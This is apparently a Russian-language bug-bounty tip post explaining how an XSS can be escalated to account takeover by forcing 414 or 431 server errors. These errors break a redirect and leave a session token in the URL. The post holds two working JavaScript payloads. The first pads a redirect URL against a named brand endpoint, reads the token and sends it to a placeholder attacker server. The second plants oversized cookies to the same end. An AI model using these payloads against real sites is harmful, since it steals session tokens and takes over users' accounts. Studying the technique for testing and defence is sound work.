Если ты нашел XSS, но
HttpOnly не даёт читать cookie и явных путей к ATO нет, стоит проверить ещё один нестандартный вектор — эскалацию через серверные лимиты ⤵️У серверов есть ограничения на объём данных, которые они готовы обработать:
⚫️ 414 URI Too Long — URL превышает допустимую длину
⚫️ 431 Request Header Fields Too Large — заголовки (чаще всего Cookie) слишком большие
Сами по себе это не уязвимости. Но в связке с XSS и URL-based auth они превращаются в интересный вектор.
➡️ Атака через 414
Сценарий
При переходе между брендами одной компании сессионный токен передаётся через URL:
1-brand.com → генерирует token → редирект на 2-brand.com?token=XXX → логин
Ключевое допущение системы — редирект всегда дойдёт до конца.
Эксплуатация
1. XSS на
1-brand.com позволяет управлять параметром url2. URL намеренно раздувается мусорными символами
3. Сервер добавляет
?token=...4. Итоговая длина превышает лимит
5. Сервер возвращает 414, редирект обрывается
6. JavaScript читает
response.url → токен у атакующегоИтог: XSS → утечка session token → ATO
<script>
const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";
const r = await fetch(u + "A".repeat(1912));
const t = new URLSearchParams(r.url).get("token");
console.log("session token = " + t);
fetch("http://ATTACKERS_SERVER/"+t);
</script>
➡️ Атака через 431
Если управлять URL нельзя, можно атаковать через заголовки.
Пример логики
1. Middleware на каждый запрос добавляет служебную Cookie
2. XSS удаляет её и создаёт несколько больших Cookies
3. На следующем запросе middleware добавляет свою Cookie обратно
4. Общий размер Cookie превышает лимит сервера
5. Сервер отвечает 431
6. Редирект обрывается → токен остаётся в URL → утечка
Снова: ошибка сервера → обрыв логики → токен доступен JS
<script>
document.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
document.cookie = "x="+"A".repeat(4095);
document.cookie = "y="+"B".repeat(4027);
const e = await fetch("http://localhost:8000/share_redirect", { credentials: "include"});
const r = new URL(e.url);
const t = r.searchParams.get("token");
console.log("secret = " + t);
</script>




